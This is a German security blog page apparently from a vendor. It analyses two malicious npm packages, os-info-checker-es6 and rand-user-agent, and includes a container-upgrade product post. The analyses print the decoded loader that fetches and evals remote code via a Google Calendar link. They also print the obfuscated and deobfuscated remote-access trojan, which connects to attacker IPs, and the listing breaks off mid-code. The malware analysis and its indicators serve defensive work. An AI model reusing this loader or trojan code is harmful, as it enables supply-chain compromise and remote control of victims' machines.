Willkommen in unserem Blog.
.png)
Sie sind eingeladen: Die Verbreitung von Malware über Google Kalender-Einladungen und PUAs
Am 19. März 2025 entdeckten wir ein Paket namens os-info-checker-es6
und waren verblüfft. Wir konnten sehen, dass es nicht das tat, was auf der Verpackung stand. Aber woran liegt das? Wir beschlossen, der Sache auf den Grund zu gehen und stießen zunächst auf einige Sackgassen. Aber Geduld zahlt sich aus, und wir bekamen schließlich die meisten Antworten, die wir suchten. Wir lernten auch etwas über Unicode-PUAs (Nein, keine Anmachsprüche). Es war eine Achterbahnfahrt der Gefühle!
Was ist das Paket?
Das Paket gibt nicht viele Anhaltspunkte, da es keine README
Datei. So sieht das Paket auf npm aus:

Nicht sehr informativ. Aber es klingt, als ob es Systeminformationen abruft. Lasst uns weitergehen.
Stinkender Code verrät es
Unsere Analyse-Pipeline hat sofort viele rote Fahnen aus dem Paket hervorgehoben vorinstallation.js
Datei aufgrund des Vorhandenseins eines eval()
Aufruf mit base64-kodierter Eingabe.

Wir sehen die eval(atob(...))
Aufruf. Das bedeutet "Dekodiere eine base64-Zeichenkette und werte sie aus", d.h. führe beliebigen Code aus. Das ist nie ein gutes Zeichen. Aber was ist die Eingabe?
Die Eingabe ist eine Zeichenkette, die sich aus dem Aufruf von decodieren()
auf ein natives Node-Modul, das mit dem Paket ausgeliefert wird. Die Eingabe für diese Funktion sieht aus wie... Nur ein |
?! Was ist das?
Wir haben hier mehrere große Fragen:
- Was macht die Decodierfunktion?
- Was hat die Dekodierung mit der Überprüfung von Betriebssysteminformationen zu tun?
- Warum ist es
eval()
es? - Warum ist die einzige Eingabe in das System eine
|
?
Gehen wir tiefer
Wir haben beschlossen, die Binärdatei zurückzuentwickeln. Es ist eine kleine Rust-Binärdatei, die nicht viel tut. Ursprünglich hatten wir erwartet, einige Funktionsaufrufe zu sehen, um Betriebssysteminformationen zu erhalten, aber wir sahen NICHTS. Wir dachten, dass die Binärdatei vielleicht mehr Geheimnisse verbirgt und die Antwort auf unsere erste Frage liefert. Dazu später mehr.
Aber was hat es dann mit der Eingabe in die Funktion auf sich, die nur eine |
? Jetzt wird es interessant. Das ist nicht die eigentliche Eingabe. Wir haben den Code in einen anderen Editor kopiert, und was wir sehen, ist:

Womp-womp! Fast wären sie damit durchgekommen. Was wir hier sehen, nennt sich Unicode "Private Use Access"-Zeichen. Dabei handelt es sich um nicht zugewiesene Codes in der Unicode-Norm, die für den privaten Gebrauch reserviert sind und mit denen jeder seine eigenen Symbole für seine Anwendung definieren kann. Sie sind von Natur aus nicht druckbar, da sie von Natur aus nichts bedeuten.
In diesem Fall ist die dekodieren
Aufruf in die native Node-Binärdatei dekodiert diese Bytes in base64-kodierte ASCII-Zeichen. Sehr clever!
Machen wir eine Spritztour
Also beschlossen wir, den eigentlichen Code zu untersuchen. Glücklicherweise speichert es den ausgeführten Code in einer Datei run.txt. Und das ist nur dies:
Konsole.log('Prüfen');
Das ist super uninteressant. Was haben die vor? Warum geben sie sich so viel Mühe, diesen Code zu verstecken? Wir waren fassungslos.
Aber dann...
Wir fingen an, veröffentlichte Pakete zu sehen, die von diesem Paket abhingen, wobei eines davon vom selben Autor stammte. Sie waren:
Skip-Tot
(19. März 2025)- Es ist eine Kopie des Pakets
vue-skip-to
.
- Es ist eine Kopie des Pakets
vue-dev-serverr
(31. März 2025)- Es handelt sich um eine Kopie des Repo https://github.com/guru-git-man/first.
vue-dummyy
(3. April 2025)- Es ist eine Kopie des Pakets
vue-Attrappe
.
- Es ist eine Kopie des Pakets
vue-bit
(3. April 2025)- Gibt vor, das Paket zu sein
@teambit/bvm
. - Er enthält keinen eigentlichen Code.
- Gibt vor, das Paket zu sein
Sie alle haben gemeinsam, dass sie Folgendes hinzufügen os-info-checker-es6
als Abhängigkeit, aber rufen Sie niemals die dekodieren
Funktion. Was für eine Enttäuschung. Wir haben keine Ahnung, was die Angreifer vorhatten. Eine Zeit lang passierte nichts, bis die os-info-checker-es6
Paket wurde nach einer langen Pause wieder aktualisiert.
ENDLICH
Ich hatte diesen Fall schon eine Weile im Hinterkopf. Er ergab keinen Sinn. Was versuchten sie zu tun? Hatte ich etwas Offensichtliches übersehen, als ich das native Node-Modul dekompilierte? Warum sollte ein Angreifer diese neuartige Fähigkeit so schnell verbrennen? Die Antwort kam am 7. Mai 2025, als eine neue Version von os-info-checker-es6
, Version 1.0.8
herauskam. Die vorinstallation.js
hat sich geändert.

Oh, sieh mal, die verschleierte Zeichenfolge ist viel länger! Aber die eval
Aufruf ist auskommentiert. Selbst wenn also eine bösartige Nutzlast in der verschleierten Zeichenkette vorhanden ist, würde sie nicht ausgeführt werden. Wie? Wir haben den Decoder in einer Sandbox laufen lassen und den dekodierten String ausgedruckt. Hier ist er nach ein wenig Aufhübschung und manuellen Anmerkungen:
const https = require('https');
const fs = require('fs');
/**
* Extract the first capture group that matches the pattern:
* ${attrName}="([^\"]*)"
*/
const ljqguhblz = (html, attrName) => {
const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
return html.match(regex)[1];
};
/**
* Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
* pull the base-64-encoded payload URL from its data-attribute.
*/
const krswqebjtt = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
// Handle HTTP 30x redirects manually so we can keep extracting headers.
if (res.status !== 200) {
const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
return krswqebjtt(redirect, cb);
}
const body = await res.text();
cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
console.log(err);
cb(err);
}
};
/**
* Stage-2: download the real payload plus.
*/
const ymmogvj = async (url, cb) => {
try {
const res = await fetch(url);
if (res.ok) {
const body = await res.text();
const h = res.headers;
cb(null, {
acxvacofz : body, // base-64 JS payload
yxajxgiht : h.get(atob('aXZiYXNlNjQ=')), // 'ivbase64'
secretKey : h.get(atob('c2VjcmV0a2V5')), // 'secretKey'
});
} else {
cb(new Error(`HTTP status ${res.status}`));
}
} catch (err) {
cb(err);
}
};
/**
* Orchestrator: keeps trying the two stages until a payload is successfully executed.
*/
const mygofvzqxk = async () => {
await krswqebjtt(
atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
async (err, link) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
await ymmogvj(
atob(link),
async (err, { acxvacofz, yxajxgiht, secretKey }) => {
if (err) {
console.log('cjnilxo');
await new Promise(r => setTimeout(r, 1000));
return mygofvzqxk();
}
if (acxvacofz.length === 20) {
return eval(atob(acxvacofz));
}
// Execute attacker-supplied code with current user privileges.
eval(atob(acxvacofz));
}
);
}
);
};
/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));
/* ---------- kick it all off ---------- */
mygofvzqxk();
/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
console.log(err);
fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
if (++yyzymzi > 10) process.exit(0);
await new Promise(r => setTimeout(r, 1000));
mygofvzqxk();
});
Haben Sie die URL zu Google Calendar im Orchestrator gesehen? Das ist eine interessante Sache, die man in Malware sehen kann. Sehr aufregend.
Ihr seid alle eingeladen!
So sieht der Link aus:

Eine Kalendereinladung mit einer base64-kodierten Zeichenfolge als Titel. Wunderbar! Das Pizza-Profilfoto ließ mich hoffen, dass es sich vielleicht um eine Einladung zu einer Pizza-Party handelt, aber das Ereignis ist für den 7. Juni 2027 geplant. So lange kann ich nicht auf eine Pizza warten. Ich nehme aber eine andere base64-kodierte Zeichenfolge. Hier ist, was es dekodiert zu:
http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D
Wieder in einer Sackgasse...
Diese Untersuchung war voller Höhen und Tiefen. Wir dachten, die Dinge seien in einer Sackgasse, nur um dann wieder Lebenszeichen von sich zu geben. Wir waren so nah dran, die ECHTE bösartige Absicht des Entwicklers herauszufinden, aber wir haben es nicht ganz geschafft.
Täuschen Sie sich nicht - dies war ein neuer Ansatz zur Verschleierung. Man sollte meinen, dass jeder, der die Zeit und Mühe auf sich nimmt, um so etwas zu tun, die von ihm entwickelten Möglichkeiten auch nutzen würde. Stattdessen haben sie anscheinend nichts damit gemacht und ihre Hand gezeigt.
Daher erkennt unser Analyseprogramm jetzt Muster wie dieses, bei denen ein Angreifer versucht, Daten in nicht druckbaren Steuerzeichen zu verstecken. Dies ist ein weiterer Fall, in dem der Versuch, clever zu sein, die Entdeckung nicht erschwert, sondern sogar noch mehr Signale erzeugt. Denn es ist so ungewöhnlich, dass es auffällt und ein großes Schild mit der Aufschrift "ICH FÜHRE NICHTS GUTES VOR" trägt. Machen Sie weiter so mit Ihrer großartigen Arbeit. 👍
Indikatoren für Kompromisse
Pakete
os-info-checker-es6
Skip-Tot
vue-dev-serverr
vue-dummyy
vue-bit
IPs
- 140.82.54[.]223
URLs
- https://calendar.app[.]google/t56nfUUcugH9ZUkx9
Danksagung
Während dieser Untersuchung wurden wir von unseren großartigen Freunden bei Vector35 unterstützt, die uns eine Testlizenz für ihr Tool Binary Ninja zur Verfügung stellten, um sicherzustellen, dass wir das native Node-Modul vollständig verstehen. Ein großes Dankeschön an das Team dort für ihr großartiges Produkt. 👏
.png)
Warum die Aktualisierung von Container-Basisabbildern so schwierig ist (und wie man es einfacher machen kann)
Die Sicherheit von Containern beginnt mit dem Basis-Image.
Aber hier ist der Haken an der Sache:
- Ein einfaches Upgrade auf die "neueste" Version eines Basis-Images kann Ihre Anwendung zerstören.
- Sie müssen sich entscheiden, ob Sie bekannte Schwachstellen ausliefern oder Tage damit verbringen, Kompatibilitätsprobleme zu beheben.
- Und oft ist man sich nicht einmal sicher, ob sich ein Upgrade lohnt.
In diesem Beitrag gehen wir der Frage nach, warum das Aktualisieren von Basis-Images schwieriger ist, als es scheint, und zeigen anhand realer Beispiele, wie Sie sichere, intelligente Upgrades automatisieren können, ohne Ihre Anwendung zu zerstören.
Das Problem: "Aktualisieren Sie einfach Ihr Basisimage" - Leichter gesagt als getan
Wenn Sie dies lesen, haben Sie wahrscheinlich etwas gegoogelt wie "How to secure your containers" und der erste Punkt in jedem KI-generierten Slop-Artikel, den Sie gelesen haben, ist dieser: Aktualisieren Sie Ihr Basisimage. Einfach, oder? Nun, nicht so schnell.
Ihr Basis-Image ist Ihr zentraler Sicherheitspunkt. Wenn Ihr Basis-Image Schwachstellen aufweist, trägt Ihre Anwendung diese Schwachstellen mit sich. Lassen Sie uns dieses Szenario durchspielen.
Sie führen einen Scan gegen Ihr Container-Image durch und es wird ein CVE mit hohem Schweregrad gefunden. Die hilfreiche Empfehlung ist, das Basis-Image zu aktualisieren, fantastisch, Sie werden vor dem Mittagessen fertig sein.
⚠️ CVE-2023-37920 gefunden in ubuntu:20.04
Schweregrad: Hoch
Behoben in: 22.04
Empfehlung: Basis-Image aktualisieren
...aber Sie entdecken ein Problem.
Durch die blinde Aufrüstung von ubuntu:20.04
zu ubuntu:22.04
zerbricht Ihre Bewerbung.
Sehen wir uns einige Beispiele für das Bumping eines Basisbildes an und was in der Realität passiert.
Beispiel 1: Eine Dockerdatei, die nach einem Upgrade nicht mehr funktioniert
Initiale Dockerdatei:
FROM python:3.8-buster
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]
Das Team rüstet auf:
FROM python:3.11-bookworm
RUN apt-get update && apt-get install -y libpq-dev
RUN pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]
Ergebnis:
psycopg2==2.8.6
kompiliert nicht gegen neuerelibpq
Überschriften zuBücherwurm.
Kolben==1.1.2
unterstützt nichtPython 3.11
Laufzeitfunktionen (veraltete APIs brechen).- Der Build bricht im CI ab.
- Ihr Entwicklungsteam ist sauer und Ihr Mittagessen ist ruiniert.
Beispiel 2: Basis-Image-Upgrades, die zu subtilen Laufzeitfehlern führen
Original:
FROM node:14-busterCOPY. /app
RUN npm ci
CMD ["node", "server.js"]
Upgrade auf:
FROM node:20-bullseye
COPY . /app
RUN npm ci
CMD ["node", "server.js"]
Laufzeitproblem:
Knotenpunkt:20
verwendet neuereOpenSSL
Versionen - die strenge TLS-Verifizierung bricht ältere axios-Konfigurationen.- Die App wirft
NICHT_ÜBERPRÜFBARE_BLATTSIGNATUR
Fehler zur LaufzeitHTTP
Anrufe bei bestehenden Diensten.
Warum "das Neueste" eine Falle ist
Das Docker-Ökosystem ermutigt zur Verwendung der neuesten Tags oder Top-Releases. Dies bedeutet jedoch oft, dass Ihre Anwendung, die am Montag noch lief, am Dienstag plötzlich ausfällt. Dies ist oft eine Falle, die zu Kopfschmerzen, Ausfällen und einer Verlangsamung der Entwicklung führt, da Sie Zeit mit der Behebung von Fehlern verbringen.
Die Lösung besteht also darin, auf eine kleinere Version zu setzen, die Sie getestet haben.... Nicht so schnell, denn jetzt sind Sie in ein Sicherheits-Whack-a-mole-Spiel geraten, bei dem Sie ständig neue CVEs entdecken, die Sie angreifbar machen könnten.
Entscheidungslähmung: Sollen Sie aufrüsten oder nicht?
Die Sicherheitsteams drängen auf Upgrades.
Die Entwickler halten sich wegen der Stabilität zurück.
Wer hat Recht? Das kommt darauf an.
ABER, um die Entscheidung überhaupt verstehen zu können, müssen Sie alle Optionen prüfen, was bedeutet, dass Sie eine umfangreiche Tabelle mit allen Versionen, Sicherheitsrisiken, Stabilitätsrisiken und der Verfügbarkeit erstellen müssen.
Werfen wir einen Blick darauf, wie das aussehen könnte.
Dies lässt Ihnen komplexe, beschissene und unmögliche Möglichkeiten
- Beim alten Image bleiben und Schwachstellen akzeptieren
- Aktualisieren Sie Ihre Anwendung und riskieren Sie Produktionsausfälle.
- Versuch einer manuellen Kompatibilitätsprüfung - tagelange Arbeit
Der manuelle Upgrade-Workflow:
Wenn Sie dies mit der Hand machen, sieht es folgendermaßen aus:
- CVEs überprüfen:
trivy image python:3.8-buster
- Untersuchen Sie jedes CVE: Ist es in Ihrem Anwendungskontext erreichbar?
- Entscheiden Sie sich für einen Upgrade-Kandidaten
- Testen Sie das neue Bild:
- Bauen Sie
- Einheitstests durchführen
- Integrationstests durchführen
- Wenn dies nicht gelingt, versuchen Sie, den Code zu patchen oder die Bibliotheken zu aktualisieren.
- Wiederholen Sie dies für jeden Behälter.
Es ist anstrengend.
Die Kosten des Stillhaltens
Man könnte meinen, "was nicht kaputt ist, sollte man nicht reparieren".
Aber ungepatchte Container-CVEs tragen massiv zu Sicherheitsverletzungen bei: "87 % der Container-Images, die in der Produktion eingesetzt werden, wiesen mindestens eine kritische oder hochgefährliche Schwachstelle auf." Quelle
Es gibt auch viele bekannte Schwachstellen in gängigen Basisbildern.
- Unzip Path Traversal Sicherheitslücke (
CVE-2020-27350
) - saßen jahrelang in Millionen von Containern. - Heartbleed (
CVE-2014-0160
) blieben noch lange nach den offiziellen Korrekturen in den alten Containern. PHP-FPM RCE
(CVE-2019-11043
) erlauben entfernten Angreifern die Ausführung von beliebigem Code über manipulierte HTTP-Anfragen und waren extrem häufig in Container-Basis-Images mitvorinstalliertes PHP-FPM
bevor sie gepatcht werden
Wie unsere Auto-Fix-Funktion hilft
Um genau dieses Szenario zu lösen, hat Aikido Security unsere Container-Autofix-Funktion eingeführt, denn auch wir haben mit diesem Problem zu kämpfen.
Die Funktion funktioniert wie folgt: Aikido scannt Ihre Container auf Schwachstellen. Wenn (oder eher wenn) wir Schwachstellen finden, warnen wir Sie wie immer. Anstatt Sie anzuschreien, Ihr Basis-Image zu aktualisieren, bieten wir Ihnen verschiedene Optionen an. Wir erstellen eine Tabelle, aus der Sie ersehen können, welche Version des Basis-Images welche CVEs behebt. Auf diese Weise können Sie sehr schnell erkennen, dass eine geringfügige Verbesserung alle oder einen Großteil der hohen CVEs beseitigen kann, was bedeutet, dass dies ein angemessenes Upgrade des Basis-Images ist.
Wenn es sich bei dem Upgrade um eine geringfügige Änderung handelt, können Sie automatisch einen Pull-Request erstellen, um die Version zu erhöhen.
Das spart Stunden an Arbeit
Schlussfolgerung:
- Das Aktualisieren von Container-Basis-Images ist wirklich schwierig.
- Der Ratschlag "einfach aufrüsten" vereinfacht einen komplexen, risikobehafteten Prozess zu sehr.
- Ihre Teams haben Recht, vorsichtig zu sein - aber sie sollten nicht zwischen Sicherheit und Stabilität wählen müssen.
- Der Container-Autofix von Aikido nimmt Ihnen die schwere Arbeit ab, damit Sie eine fundierte Entscheidung treffen können.
- Wenn Sie also das nächste Mal eine Warnung über eine Sicherheitslücke im Basisbild sehen, werden Sie nicht in Panik geraten. Sie werden eine PR bekommen.
.png)
RATatouille: Ein bösartiges Rezept versteckt in rand-user-agent (Kompromittierung der Lieferkette)
Am 5. Mai, 16:00 GMT+0, entdeckte unsere automatische Malware-Analyse-Pipeline ein verdächtiges Paket, das veröffentlicht wurde, rand-user-agent@1.0.110
. Es entdeckte ungewöhnlichen Code in dem Paket, und es lag nicht falsch. Es wurden Anzeichen für einen Angriff auf die Lieferkette dieses legitimen Pakets entdeckt, das wöchentlich etwa 45.000 Mal heruntergeladen wird.
Was ist das Paket?
Das Paket `rand-user-agent` generiert zufällige reale User-Agent-Strings auf der Grundlage ihrer Häufigkeit des Auftretens. Es wird von der Firma WebScrapingAPI(https://www.webscrapingapi.com/) betreut.
Was haben wir festgestellt?
Unser Analyseprogramm hat verdächtigen Code in der Datei dist/index.js entdeckt. Schauen wir es uns an, hier in der Codeansicht auf der npm-Website:
.png)
Fällt Ihnen etwas Komisches auf? Sehen Sie die Bildlaufleiste am unteren Rand? Verdammt, sie haben es wieder getan. Sie haben versucht, den Code zu verstecken. Hier sehen Sie, was sie zu verbergen versuchen, aufgehübscht:
global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
var siM = "",
mZw = 357 - 346;
function pHg(l) {
var y = 2461180;
var i = l.length;
var x = [];
for (var v = 0; v < i; v++) {
x[v] = l.charAt(v);
}
for (var v = 0; v < i; v++) {
var h = y * (v + 179) + (y % 18929);
var w = y * (v + 658) + (y % 13606);
var s = h % i;
var f = w % i;
var j = x[s];
x[s] = x[f];
x[f] = j;
y = (h + w) % 5578712;
}
return x.join("");
}
var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
var Abp =
'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[ v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
var QbC = pHg[Rjb];
var duZ = "";
var yCZ = QbC;
var pPW = QbC(duZ, pHg(Abp));
var fqw = pPW(
pHg(
']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps ,P+PP(gXh{;o_cxjn.not.2]Y"Pf6ep!$:1,>05PHPh,PF(P7.;{.lr[cs);k4P\/j7aP()M70glrP=01aes_Pfdr)axP p2?1ba2o;s..]a.6+6449ufPt$0a$5IsP(,P[ejmP0PP.P%;WBw(-5b$P d5.3Uu;3$aPnfu3Zha5 5gdP($1ao.aLko!j%ia21Pmh 0hi!6;K!P,_t`i)rP5.)J].$ b.}_P (Pe%_ %c^a_th,){(7 0sd@d$s=$_el-a]1!gtc(=&P)t_.f ssh{(.F=e9lP)1P($4P"P,9PK.P_P s));',
),
);
var zlJ = yCZ(siM, fqw);
zlJ(5164);
return 8268;
})();
Ja, das sieht schlecht aus. Das sollte dort offensichtlich nicht sein.
Wie ist der Code dorthin gekommen?
Wenn wir uns das GitHub-Repository für das Projekt ansehen, sehen wir, dass die letzte Übertragung vor 7 Monaten stattfand, als Version 2.0.82 veröffentlicht wurde.

Wenn wir uns die Versionsgeschichte von npm ansehen, sehen wir etwas Seltsames. Seitdem hat es mehrere Veröffentlichungen gegeben:
.png)
Die letzte Veröffentlichung sollte laut GitHub also sein 2.0.82
. Und wenn wir uns die Pakete seither ansehen, enthalten sie alle diesen bösartigen Code. Ein klarer Fall eines Angriffs über die Lieferkette.
Die bösartige Nutzlast
Die Nutzdaten sind ziemlich verschleiert und werden durch mehrere Verschleierungsschichten verborgen. Aber hier ist die endgültige Nutzlast, die Sie schließlich finden werden:
global['_H2'] = ''
global['_H3'] = ''
;(async () => {
const c = global.r || require,
d = c('os'),
f = c('path'),
g = c('fs'),
h = c('child_process'),
i = c('crypto'),
j = f.join(d.homedir(), '.node_modules')
if (typeof module === 'object') {
module.paths.push(f.join(j, 'node_modules'))
} else {
if (global['_module']) {
global['_module'].paths.push(f.join(j, 'node_modules'))
}
}
async function k(I, J) {
return new global.Promise((K, L) => {
h.exec(I, J, (M, N, O) => {
if (M) {
L('Error: ' + M.message)
return
}
if (O) {
L('Stderr: ' + O)
return
}
K(N)
})
})
}
function l(I) {
try {
return c.resolve(I), true
} catch (J) {
return false
}
}
const m = l('axios'),
n = l('socket.io-client')
if (!m || !n) {
try {
const I = {
stdio: 'inherit',
windowsHide: true,
}
const J = {
stdio: 'inherit',
windowsHide: true,
}
if (m) {
await k('npm --prefix "' + j + '" install socket.io-client', I)
} else {
await k('npm --prefix "' + j + '" install axios socket.io-client', J)
}
} catch (K) {
console.log(K)
}
}
const o = c('axios'),
p = c('form-data'),
q = c('socket.io-client')
let r,
s,
t = { M: P }
const u = d.platform().startsWith('win'),
v = d.type(),
w = global['_H3'] || 'http://85.239.62[.]36:3306',
x = global['_H2'] || 'http://85.239.62[.]36:27017'
function y() {
return d.hostname() + '$' + d.userInfo().username
}
function z() {
const L = i.randomBytes(16)
L[6] = (L[6] & 15) | 64
L[8] = (L[8] & 63) | 128
const M = L.toString('hex')
return (
M.substring(0, 8) +
'-' +
M.substring(8, 12) +
'-' +
M.substring(12, 16) +
'-' +
M.substring(16, 20) +
'-' +
M.substring(20, 32)
)
}
function A() {
const L = { reconnectionDelay: 5000 }
r = q(w, L)
r.on('connect', () => {
console.log('Successfully connected to the server')
const M = y(),
N = {
clientUuid: M,
processId: s,
osType: v,
}
r.emit('identify', 'client', N)
})
r.on('disconnect', () => {
